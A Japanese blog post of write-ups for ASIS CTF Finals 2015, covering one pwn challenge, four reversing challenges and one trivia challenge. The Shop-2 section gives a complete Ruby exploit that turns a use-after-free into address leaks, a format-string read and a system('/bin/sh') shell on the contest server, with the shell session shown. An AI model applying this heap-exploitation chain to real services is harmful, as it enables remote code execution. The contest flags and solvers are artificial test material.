しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

ASIS CTF Finals 2015 writeup

ASIS CTF Finals 2015にscryptosで参加しました。

チームで17問解いて2576ptの9位、
私は6問解いて1000pt(+アシスト1問100pt)入れました(*´ω`*)

calcexec解けなかったのがつらい⊂⌒っ*-ω-)っ
解けなかったpwn問の復習がんばります……

解いた問題のwriteupを置いておきます(`・ω・´)

Shop-2 (pwn 300)

$ ./bragisdumu-shop
The Official Bragisdumus Shop
  (guest password: guest)

Username: guest
Password: guest

Logged in as guest

Menu:
  1) list bragisdumus
  2) order a bragisdumu
  3) view my order
  4) add new bragisdumu (admin only)
  5) remove bragisdumu (admin only)
  8) logout
  9) exit
Choose:

CTFでよくある、何かが買えるサービス。

Shop-1はadminのパスワードをリークさせる問題で、Shop-2はシェルを取る問題だった。
(Shop-1は脆弱性探しのみを担当し、exploitは193sさんにお願いした)

恒例の下調べ。

$ checksec.sh --file bragisdumu-shop
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   bragisdumu-shop

一部をCに直すとこんな感じ。

typedef struct{  //size=0x88
    int id;  //+0x0
    char is_available;  //+0x4
    char name[100];  //+0x5
    char is_most_popular;  //+0x69
    char _padding[6];  //+0x6a
    double price;  //+0x70
    int count;  //+0x78
    char _padding[4];  //+0x7c
    (void (*func)(Bragisdumu*));  //+0x80
} Bragisdumu;

Bragisdumu bragisdumus[8] = {  //0x204020
    {
        //(snip)
    },
    {
        //(snip)
    }
    {
        2,                          //id
        1,                          //is_available
        "Knight Rider Radar",       //name
        1,                          //is_most_popular
        "",                         //padding
        10000000.0,                 //price
        2,                          //count
        "",                         //padding
        view_knight_rider_rader     //func
    },
    //(snip)
};
Bragisdumu empty = {0};  //0x204460
Bragisdumu *orders[16] = {empty, empty, ..., empty};  //0x204500

void view_knight_rider_rader(){  //0x1275
    //かっちょいいAAを表示する
}

char *read_line_inner(int *_out_readsize){  //0x10e5
    int *out_readsize = _out_readsize;  //rbp-0x28
    int capacity;  //rbp-0x18
    int c;  //rbp-0x14
    char *buf;  //rbp-0x10
    long canary;  //rbp-0x8

    capacity = 8;
    buf = (char*)malloc(capacity);
    *out_readsize = 0;

    while(1){
        if((c = getchar()) == -1){
            puts("Input EOF!");
            exit(0);
        }

        if(*out_readsize >= capacity){
            capacity <<= 1;
            buf = realloc(capacity);
        }

        if(c == '\n'){
            break;
        }

        buf[*out_readsize] = c;
        *out_readsize += 1;
    }

    return buf;
}

void read_line(char *_buf, int _maxlength){  //0x11b9
    int maxlength = _maxlength;  //rbp-0x2c
    char *buf = _buf;  //rbp-0x28
    int readsize;  //rbp-0x18
    int var_14;  //rbp-0x14
    char *inner_buf;  //rbp-0x10
    long canary;  //rbp-0x8

    inner_buf = read_line_inner(&readsize);
    if(readsize > maxlength){
        var_14 = maxlength;
    }else{
        var_14 = readsize;
    }

    memcpy(buf, inner_buf, var_14);  //[!] no null termination
    free(inner_buf);
}

void order_bragisdumus(){  //0x1b14
    Bragisdumu* bragisdumu;  //rbp-0x10
    char var_1e;  //rbp-0x1e
    char var_1d;  //rbp-0x1d
    int i;  //rbp-0x1c
    int j;  //rbp-0x18
    int selection;  //rbp-0x14
    long canary;  //rbp-0x8

    printf("Choose a Bragisdumu to order: ");
    selection = read_int();

    var_1e = 0;
    for(i = 0; i < 8; i++){
        if(selection == 0 || bragisdumus[i].id != selection){
            continue;
        }

        var_1e = 1;
        if(bragisdumus[i].count == 0){
            puts("Nah. I don't have any. So sad. :(");
            continue;
        }

        bragisdumus[i].count -= 1;
        var_1d = 0;
        for(j = 0; j < 9; j++){
            if(!orders[j]->is_available){
                bragisdumu = (Bragisdumu*)malloc(sizeof(Bragisdumu));
                memcpy(bragisdumu, &bragisdumus[i], sizeof(Bragisdumu));
                orders[j] = bragisdumu;

                puts("Your order has been placed successfully!");
                var_1d = 1:
                break;
            }
        }

        if(var_1d != 1){
            puts("Doh! Looks like your order list is full. Please wait until the next shipment.");
        }
    }

    if(var_1e != 1){
        puts("Invalid Bragisdumu index!");
    }
}

void view_my_order(){  //0x1cf8
    char has_order;  //rbp-0x11
    int i;  //rbp-0x10
    int selection;  //rbp-0xc
    long canary;  //rbp-0x8

    puts("Bragisdumu orders:");
    has_order = 0;

    for(i = 0; i < 9; i++){
        if(orders[i]->is_available == 1){
            printf("  #%d: %s, price: $%0.2lf %s\n", i + 1, orders[i]->name, orders[i]->price, orders[i]->is_most_popular ? "( most popular <3 )" : "");
            has_order = 1;
        }
    }

    if(has_order != 1){
        puts("  You have no orders.");
        return;
    }

    printf("\nDo you want to preview one of your orders? ");
    selection = read_int() - 1;
    if(0 <= selection && selection < 9 && orders[selection]->is_available == 1){
        orders[selection]->func(orders[selection]);
    }else{
        puts("Hahahahaha... NO.");
    }
}

void remove_bragisdumu(){  //0x200b
    char found;  //rbp-0x16
    char is_empty;  //rbp-0x15
    int i;  //rbp-0x14
    int j;  //rbp-0x10
    int selection;  //rbp-0xc
    long canary;  //rbp-0x8

    printf("Choose a Bragisdumu to remove: ");
    selection = read_int();
    putchar('\n');

    found = is_empty = 0;
    for(i = 0; i < 8; i++){
        if(bragisdumus[i].id == selection){
            found = 1;
            if(bragisdumus[i].count == 0){
                is_empty = 1;
                bragisdumus[i].is_available = 0;
            }else{
                is_empty = 0;
            }
            break;
        }
    }

    if(!found){
        puts("Invalid Bragisdumu index!");
        return;
    }

    if(!is_empty != 0){
        puts("You cannot remove a Bragisdumu which is on stock");
    }

    for(j = 0; j < 9; j++){
        if(orders[j]->id == selection){
            free(orders[j]);  //[!] use-after-free
        }
    }
}

int main(){  //0x21fa
    char is_admin;  //rbp-0x85
    int selection;  //rbp-0x84
    int filesize;  //rbp-0x80
    char *adminpass;  //rbp-0x78
    char username[32];  //rbp-0x70
    char password[64];  //rbp-0x50
    int var_10;  //rbp-0x10
    long canary;  //rbp-0x8

    setbuf(stdout, 0);

    while(1){
LOGIN:
        puts("The Official Bragisdumus Shop");
        puts("  (guest password: guest)\n");

        is_admin = 0;

        while(1){
            printf("Username: ");
            read_line(username, 32);
            printf("Password: ");
            read_line(password, 64);

            if(memcmp(username, "guest", 5) == 0 && memcmp(password, "guest", 5) == 0){
                goto LOGIN_SUCCESSFUL;
            }

            var_10 = memcmp(username, "admin", 5);
            if(var_10){
                puts("Unknown username or password!");
                putchar('\n');
                continue;
            }

            adminpass = read_file("adminpass.txt", &filesize);
            var_10 = memcmp(password, adminpass, filesize);
            free(adminpass);
            if(!var_10){
                is_admin = 1;
            }else{
                puts("Unknown username or password!");
                putchar('\n');
                continue;
            }

LOGIN_SUCCESSFUL:
            while(1){
                show_menu();
                printf("Choose: ");
                selection = read_int();
                putchar('\n');

                if(!is_admin && (selection == 4 || selection == 5)){
                    puts("No admin. No good.");
                    continue;
                }
                switch(selection){
                    case 1:
                        list_bragisdumus();
                        break;
                    case 2:
                        list_bragisdumus();
                        putschar('\n');
                        order_bragisdumus();
                        break;
                    case 3:
                        view_my_order();
                        break;
                    case 4:
                        add_new_bragisdumu();
                        break;
                    case 5:
                        list_bragisdumus();
                        putchar('\n');
                        remove_bragisdumu();
                        break;
                    case 8:
                        goto LOGIN;
                    case 9:
                        exit(0);
                    default:
                        puts("Invalid menu index!");
                        break;
                }
            }
        }
    }
}

remove_bragisdumu関数内にfree(orders[j]);があるが、ここでfreeした後もorders[j]に入っているポインタが参照可能なまま、というUse-After-Freeの脆弱性がある。

read_line_inner関数のバッファもヒープ上に確保されるため、

  1. order_bragisdumus関数でヒープ上にBragisdumuを確保
  2. remove_bragisdumu関数でfree(ポインタは参照可能なまま)
  3. 一旦ログアウト
  4. ログインアカウント情報入力時のread_line_inner関数で、ヒープ上に残っているBragisdumuを任意のデータで上書き
    ※このとき、Bragisdumu.is_availableが1になるように上書きする必要あり

という状態でview_my_order関数を呼ぶことで、Bragisdumu上のデータをリークさせたり任意の関数を呼び出したりできる。

今回はPIEバイナリなので、

  1. order[1]->funcの手前まで上書きし、view_my_order関数のorder[1]->name出力部でorder[1]->funcのアドレスをリークしてバイナリのベースアドレスを求める
  2. order[1]->funcprintf@pltに上書きし、(なぜか)スタック上に転がってたstdoutのアドレスをfsbでリークしてlibcのベースアドレスも求める
  3. order[1]->funcsystemに上書きし、system("/bin/sh")でシェル起動

という手順で攻略した。
order[0]だとorder[0]->is_availableがヒープチャンクの管理情報で上書きされてしまうので使えない)

#coding:ascii-8bit
require_relative "../../pwnlib"

AdminPass = "ASIS{304b0f16eb430391c6c86ab0f3294211}"

remote = true
if remote
    host = "185.106.120.220"
    port = 1337
    libc_offset = {
        "stdout" => 0x3bf400,
        "system" => 0x46640
    }
else
    host = "localhost"
    port = 54321
    libc_offset = {
        "stdout" => 0x3bf400,
        "system" => 0x46640
    }
end
plt_offset = {
    "printf" => 0xda0
}

def login(tube, username, password)
    tube.recv_until("Username: ")
    tube.send(username + "\n")
    tube.recv_until("Password: ")
    tube.send(password + "\n")
end

def order_bragisdumu(tube, number)
    tube.recv_until("Choose: ")
    tube.send("2\n")
    tube.recv_until("Choose a Bragisdumu to order: ")
    tube.send(number.to_s + "\n")
end

def view_order(tube, number)
    tube.recv_until("Choose: ")
    tube.send("3\n")
    tube.recv_until("Do you want to preview one of your orders?")
    tube.send(number.to_s + "\n")
end

def remove_bragisdumu(tube, number)
    tube.recv_until("Choose: ")
    tube.send("5\n")
    tube.recv_until("Choose a Bragisdumu to remove: ")
    tube.send(number.to_s + "\n")
end

def logout(tube)
    tube.recv_until("Choose: ")
    tube.send("8\n")
end

PwnTube.open(host, port){|tube|
    tube.wait_time = 0

    puts "[*] login with admin"
    login(tube, "admin", AdminPass)

    puts "[*] prepare"
    2.times{order_bragisdumu(tube, 3)}
    remove_bragisdumu(tube, 3)

    puts "[*] leak base address"
    # logout
    logout(tube)

    # overwrite structure
    payload = ""
    payload << "guest"
    payload << "A" * 143
    payload << "\x01"  # is_available
    payload << "A" * 123  # name
    login(tube, "guest", payload)

    # leak
    tube.recv_until("Choose: ")
    tube.send("3\n")
    base = tube.recv_capture(/A{123}(.+?), price/m)[0].ljust(8, "\0").unpack("Q")[0] - 0x1275
    printf("base = 0x%08x\n", base)
    tube.recv_until("Do you want to preview one of your orders?")
    tube.send("0\n")

    puts "[*] leak libc base"
    # logout
    logout(tube)

    # overwrite structure
    payload = ""
    payload << "guest"
    payload << "A" * 143
    payload << "\x01"  # is_available
    payload << "[%8$p]"  # name
    payload << "A" * (123 - 6)
    payload << [base + plt_offset["printf"]].pack("Q")
    login(tube, "guest", payload)

    # leak
    view_order(tube, 2)
    libc_base = tube.recv_capture(/\[(0x[0-9a-f]+)\]/)[0].to_i(16) - libc_offset["stdout"]
    printf("libc base = 0x%08x\n", libc_base)

    puts "[*] trigger shell"
    # logout
    logout(tube)

    # overwrite structure
    payload = ""
    payload << "guest"
    payload << "A" * 143
    payload << "\x01"  # is_available
    payload << ";/bin/sh;"
    payload << "A" * (123 - 9)
    payload << [libc_base + libc_offset["system"]].pack("Q")
    login(tube, "guest", payload)

    view_order(tube, 2)
    tube.interactive
}
$ ruby shop2.rb
[*] connected
[*] login with admin
[*] prepare
[*] leak base address
base = 0x7f4823c5f000
[*] leak libc base
libc base = 0x7f4823675000
[*] trigger shell
[*] interactive mode
 sh: 1: AAAA☺: not found
id
uid=1000(flag) gid=1000(flag) groups=1000(flag)
ls -la
total 52
drwxr-x--- 2 root flag  4096 Oct  7 20:45 .
drwxr-xr-x 3 root root  4096 Oct  7 20:42 ..
-rw-r--r-- 1 root flag   220 Oct  7 20:42 .bash_logout
-rw-r--r-- 1 root flag  3637 Oct  7 20:42 .bashrc
-rw-r--r-- 1 root flag   675 Oct  7 20:42 .profile
-r--r----- 1 root flag    38 Oct  7 20:43 adminpass.txt
-r--r----- 1 root flag    39 Oct  7 20:52 flag
-r-xr-x--- 1 root flag 19840 Sep 30 16:11 main
-r-xr-x--- 1 root flag   178 Oct 10 07:35 start.sh
cat flag
ASIS{5249b4cc1527739c57fbd04ab14292ca}
exit
sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@�k#H: not found

Menu:
  1) list bragisdumus
  2) order a bragisdumu
  3) view my order
  4) add new bragisdumu (admin only)
  5) remove bragisdumu (admin only)
  8) logout
  9) exit
Choose: 9

[*] end interactive mode
[*] connection closed

FLAG:ASIS{5249b4cc1527739c57fbd04ab14292ca}

License (Reverse 125)

こんな感じの処理。

keyfile = open("_a\nb\tc_", "rb").read

# check filesize
size = keyfile.length
if 44242 * size ** 5 - 45235 * size ** 4 - 1256 * size ** 3 + 14392 * size ** 2 - 59762 * size - 1949670109068 != 0
    puts "wrong formatted key file"
    exit
end

# check format
lines = keyfile.split("\n")
if lines.count != 5
    puts "wrong formatted key file"
    exit
end

# check contents
code = "iKWoZLVc4LTyGrCRedPhfEnihgyGxWrCGjvi37pnPGh2f1DJKEcQZMDlVvZpEHHzUfd4VvlMzRDINqBk;1srRfRvvUW"

if lines[0] ^ lines[1] != code[0...6]
    puts "registration failed"
    exit
end

if lines[1] ^ lines[3] ^ 0x23 != code[6...12]
    puts "registration failed"
    exit
end

if lines[3] ^ lines[2] != code[12...18]
    puts "registration failed"
    exit
end

if lines[3] ^ lines[4] ^ 0x23 ^ lines[2] != code[18...24]
    puts "registration failed"
    exit
end

if lines[3] != code[24...30]
    puts "registration failed"
    exit
end

# generate and print the flag
puts "program successfully registered to #{flag}"

ファイルサイズ判別部分は単純な5次方程式になっているので、sageに解いてもらう。

sage: solve(-45235*x*x*x*x-1256*x*x*x+14392*x*x-59762*x-1949670109068+44242*x*x*x*x*x==0,x)
[x == (虚数解4つ), x == 34]

単純に6byte×5行のファイルを作ればよさそう。

ソルバを書いてkeyfileを作り、licenseに読み込ませてフラグを取った。

#coding:ascii-8bit
def xor(arg1, arg2, n = 0)
    if arg1.length != arg2.length
        raise "invalid length"
    end

    arg1.bytes.zip(arg2.bytes).map{|a, b| (a ^ b ^ n).chr}.join
end

code = "iKWoZLVc4LTyGrCRedPhfEnihgyGxWrCGjvi37pnPGh2f1DJKEcQZMDlVvZpEHHzUfd4VvlMzRDINqBk;1srRfRvvUW"

line = Array.new(5)

line[3] = code[24...30]
line[2] = xor(line[3], code[12...18])
line[1] = xor(line[3], code[6...12], 0x23)
line[0] = xor(line[1], code[0...6])
line[4] = xor(xor(line[3], code[18...24], 0x23), line[2])

open("keyfile", "wb"){|io|
    io.write(line.join("\n"))
}
$ xxd keyfile
0000000: 746c 3947 5541 0a1d 276e 280f 0d0a 2f15  tl9GUA..'n(.../.
0000010: 3a15 1d33 0a68 6779 4778 570a 3439 0634  :..3.hgyGxW.49.4
0000020: 282e
$ ./license
program successfully registered to ASIS{8d2cc30143831881f94cb05dcf0b83e0}

FLAG:ASIS{8d2cc30143831881f94cb05dcf0b83e0}

Fake (Reverse 150)

ざっくりとCに直すとこんな感じ。

int main(int argc, char **argv){
    long input = 0;  //r8
    char flag[];  //rsp + 0x0

    if(argc < 2){
        input = strtol(argv[1], NULL, 10);
    }

    *(unsigned long*)flag = input * 0x3cc6c7b7;
    *(unsigned long*)(flag + 8) = すごい計算 その1;
    *(unsigned long*)(flag + 16) = すごい計算 その2;
    *(unsigned long*)(flag + 24) = すごい計算 その3;
    *(unsigned long*)(flag + 32) = すごい計算 その4;

    puts(flag);
}

フラグが"ASIS{"から始まることから、

input * 0x3cc6c7b7 ≡ 0x7b53495341 (mod 1 << 40)

となるinputを求めればよいことがわかる。

inputを求めてバイナリに与えるとフラグが出てきた。

$ ./fake 25313971399
ASIS{f5f7af556bd6973bd6f2687280a243d9}

FLAG:ASIS{f5f7af556bd6973bd6f2687280a243d9}

ASIS Hash (Reverse 150)

Rubyに直すとこんな感じの処理。

def get_hash(input)
    hash = 5381
    for c in input.bytes
        hash *= 33
        hash += c ^ 0x8f
    end
    hash
end

if get_hash(ARGV[0]) == 27221558106229772521592198788202006619458470800161007384471764
    puts "Congratz, you got the flag :)"
else
    puts "Sorry! flag is not correct!"
end

バックトラックで探索した。(/ASIS{[0-9a-f]{32}}/になる解がなかなか見つけられず迷走したのでコードが汚いorz)

#coding:ascii-8bit

Key = 27221558106229772521592198788202006619458470800161007384471764

def get_hash(input)
    hash = 5381
    for c in input.bytes
        hash *= 33
        hash += c ^ 0x8f
    end
    hash
end

def get_chars
    (0x20..0x7e).select{|c| c.chr =~ /[0-9a-f]/}.sort{|a, b| get_hash(a.chr) <=> get_hash(b.chr)}.map(&:chr)
end

def test(flag)
    get_hash("ASIS{" + flag + "\x8f" * (32 - flag.length) + "}")
end

def solve(flag = "")
    if flag.length == 31
        for c in @chars
            if test(flag + c) == Key
                return flag + c
            end
        end
        return nil
    end

    for c in @chars
        min = test(flag + c + "\x8f")
        max = test(flag + c + "\x70")
        if min <= Key && Key <= max
            result = solve(flag + c)
            if result
                return result
            end
        end
    end

    return nil
end

@chars = get_chars

puts "ASIS{" + solve + "}"
$ ruby solver.rb
ASIS{d5c808f5dc96567bda48be9ba82fc1d6}
$ ./hash.elf ASIS{d5c808f5dc96567bda48be9ba82fc1d6}
Congratz, you got the flag :)

FLAG:ASIS{d5c808f5dc96567bda48be9ba82fc1d6}

Exchange (Reverse 200)

Rubyに直すとこんな感じ。

#coding:ascii-8bit
require "openssl"

# 数直線上において、点mと点nを2:1に内分する点pの座標を求めるのと同じ
# (get_dividing_point(0.0, 1.0) = 0.666666……)
# ∴ get_dividing_point(m, n) ≒ (m + n * 2) / 3
# ただし、整数型のままで計算しているため、多少の誤差が発生する
def get_dividing_point(m, n)
    v, v_ = [0, nil]
    while v != v_
        v_ = v
        v = (m + n) / 2
        m = n
        n = v
    end
    v
end

def main
    input = ARGV[0]
    
    # 入力をzero paddingして数値として扱う
    input_num = OpenSSL::BN.new(input.ljust(128, "\0"), 2)

    # ランダムな桁数で前半と後半に分ける
    r = rand(127) + 1
    front = input_num.to_s[0...r].to_i
    back = input_num.to_s[r..-1].to_i

    # 気が遠くなるくらい時間のかかる関数に通す(やってることは簡単)
    part1 = get_dividing_point(front, back)

    part2 = get_dividing_point(back, 2 * front)

    # 結果を出力
    open("flag_encrypted", "wb"){|io|
        io.write(OpenSSL::BN.new(part1).to_s(2))
        io.write("\x00\x01\x02")
        io.write(OpenSSL::BN.new(part2).to_s(2))
    }
end

main

バイナリの方ではget_dividing_point関数に第3引数としてループ回数を指定できるようにし、そこに巨大な整数を渡すことで処理時間が膨大になるようにしていた。

与えられたflag_encryptedからpart1part2を取り出し、そこからfrontbackを復元できればフラグが取れる。

まず、ソースより

get_dividing_point(front, back) == part1
get_dividing_point(back, 2 * front) == part2

が成り立つので、get_dividing_point(m, n) ≒ (m + 2 * n) / 3より

(front + 2 * back) / 3 ≒ part1
(back + 4 * front) / 3 ≒ part2

となり、最終的に

front ≒ (-3 * half + 6 * half2) / 7
back ≒ (12 * half - 3 * half2) / 7

が導出できる。

誤差が不安だが、とりあえず試しにソルバを書いて、復元できるか見てみた。

#coding:ascii-8bit
require "openssl"

part1, part2 = open("flag_enc", "rb").read.split("\x00\x01\x02").map{|a| OpenSSL::BN.new(a, 2).to_i}

front = (-3 * part1 + 6 * part2) / 7
back = (12 * part1 - 3 * part2) / 7
result = (front.to_s + back.to_s).to_i

puts result.to_s(16)
p OpenSSL::BN.new(result).to_s(2)
$ ruby solver.rb
576f6f772120796f7520617265203c8cb5f93667b76ae85923fc880a6bbd8fccaf778efb13c10fb1d33d13cec5ff091706415f186be12a461c0f6d7eaa33b2a6e620875a5bcab1a6f2a73dfa8eb4f0270b1c1aa1c59cadf7daf4bd7bb6802d28ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff59
"Woow! you are <\x8C\xB5\xF96g\xB7j\xE8Y#\xFC\x88\nk\xBD\x8F\xCC\xAFw\x8E\xFB\x13\xC1\x0F\xB1\xD3=\x13\xCE\xC5\xFF\t\x17\x06A_\x18k\xE1*F\x1C\x0Fm~\xAA3\xB2\xA6\xE6 \x87Z[\xCA\xB1\xA6\xF2\xA7=\xFA\x8E\xB4\xF0'\v\x1C\x1A\xA1\xC5\x9C\xAD\xF7\xDA\xF4\xBD{\xB6\x80-(\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFFY"

少しだけ復元できているっぽい。

最後の方が"\xff\xff\xff……\x59"となっているので、backの方の誤差は256 - 0x59 = 167と考え、frontの誤差をブルートフォースで当てて平文を復元した。

#coding:ascii-8bit
require "openssl"

part1, part2 = open("flag_enc", "rb").read.split("\x00\x01\x02").map{|a| OpenSSL::BN.new(a, 2).to_i}

for i in 0..255
    front = (-3 * part1 + 6 * part2) / 7 + i
    back = (12 * part1 - 3 * part2) / 7 + (0x100 - 0x59)
    result = (front.to_s + back.to_s).to_i

    if OpenSSL::BN.new(result).to_s(2) =~ /ASIS{[0-9a-f]{32}}/
        puts result.to_s(16)
        puts OpenSSL::BN.new(result).to_s(2).strip
    end
end
$ ruby solver.rb
576f6f772120796f752061726520676f6f64206174206d6174682120536f2074686520666c616720697320415349537b39336238333865636666613162313163326635626366373763323539363439347d2c20676f6f64206c75636b203a2d290000000000000000000000000000000000000000000000000000000000000000
Woow! you are good at math! So the flag is ASIS{93b838ecffa1b11c2f5bcf77c2596494}, good luck :-)

FLAG:ASIS{93b838ecffa1b11c2f5bcf77c2596494}

Calm down (Trivia 75)

こんな感じのテキストファイル(11MB)が与えられる。

----------Which one is flag?----------
ASIS{3ec56380920f6b4a8ab7c85fa f6f2667}
ASIS{b3532aebaf2de7ea0fecdcf 80d91b29b}
ASIS{5148d9cb3d97d7d1e9d74dc5 0942393c}
ASIS{e9d89880e2c 31c00ef8008e830ff5268}
ASIS{fcf88f318445bed04cc2fe5 8dca9e65b}
ASIS{50480fe0160c98e7e1a7cd1266c 2d8e1}
ASIS{137db0 a81079449a5303d94e46cce011}
ASIS{6ecc4428eb9ed4bfe6ce989096 62a43b}
ASIS{44dc19a4af8a4747 0019394dcb58a4b8}
ASIS{2fa89f c6b0a188b83448f6e9372830b4}
ASIS{a222df308beb2112419dd 1223b76f614}
ASIS{fd96df4b589bd9eb9fc9b 60ffef82b62}
ASIS{2ff7139510ce5124efdb65c65 47b4c5e}
ASIS{138d33e62737a4705a 8649009ef98468}
(snip)

/ASIS{[0-9a-f]{32}}/grepして終了。

FLAG:ASIS{dc99999733dd1f4ebf8c199753c05595}